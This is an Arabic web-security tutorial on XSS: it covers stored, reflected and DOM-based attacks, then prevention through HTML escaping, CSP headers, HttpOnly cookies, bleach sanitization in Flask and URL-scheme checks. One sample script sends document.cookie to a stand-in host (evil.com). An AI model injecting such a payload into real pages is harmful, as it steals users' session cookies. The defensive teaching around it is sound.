Kodax

XSS — الجزء 2: المنع — الأمن المتقدم

هجمات XSS (Cross-Site Scripting)

ما هو XSS؟

حقن سكريبتات ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون.

أنواع XSS

1. Stored XSS (المخزّن)

- الأخطر 🔴

- السكريبت يُخزن في قاعدة البيانات

- مثال: تعليق يحتوي على <script>

2. Reflected XSS (المنعكس)

- السكريبت في URL

- يتطلب إقناع الضحية بالنقر

- مثال: رابط بحث ضار

3. DOM-based XSS

- التنفيذ في المتصفح فقط

- لا يصل للخادم

مثال على الهجوم

<!-- تعليق ضار -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

الوقاية من XSS

1. تنظيف المدخلات (Sanitization)

// تحويل الأحرف الخاصة
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

2. Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'

3. HttpOnly Cookies

Set-Cookie: session=abc123; HttpOnly; Secure

4. استخدام مكتبات آمنة

- React: يهرب HTML تلقائياً

- Vue: استخدم v-text بدلاً من v-html

# مثال على تنظيف المدخلات في Python (Flask)
from flask import Flask, request, escape
from markupsafe import Markup
import bleach

app = Flask(__name__)

# ===== طريقة 1: escape الأساسي =====
@app.route('/comment', methods=['POST'])
def add_comment_v1():
    comment = request.form.get('comment', '')
    # تحويل < > إلى &lt; &gt;
    safe_comment = escape(comment)
    return f"<p>{safe_comment}</p>"

# ===== طريقة 2: مكتبة bleach (الأفضل) =====
@app.route('/comment_v2', methods=['POST'])
def add_comment_v2():
    comment = request.form.get('comment', '')
    
    # السماح بعناصر محددة فقط
    allowed_tags = ['b', 'i', 'u', 'a', 'p', 'br']
    allowed_attrs = {'a': ['href', 'title']}
    
    safe_comment = bleach.clean(
        comment,
        tags=allowed_tags,
        attributes=allowed_attrs,
        strip=True
    )
    
    return f"<p>{safe_comment}</p>"

# ===== طريقة 3: التحقق من URLs =====
def is_safe_url(url):
    """التحقق من أن الرابط آمن"""
    from urllib.parse import urlparse
    
    # منع javascript: و data: URLs
    if url.lower().startswith(('javascript:', 'data:', 'vbscript:')):
        return False
    
    # التحقق من النطاق
    parsed = urlparse(url)
    if parsed.netloc and parsed.netloc != 'example.com':
        return False
    
    return True

# ===== مثال على CSP Header =====
@app.after_request
def add_security_headers(response):
    # Content Security Policy
    response.headers['Content-Security-Policy'] = \
        "default-src 'self'; " \
        "script-src 'self'; " \
        "style-src 'self' 'unsafe-inline'; " \
        "img-src 'self' data:; "
    
    # منع التضمين في iframes
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
    
    # منع MIME type sniffing
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    return response
اختبر فهمك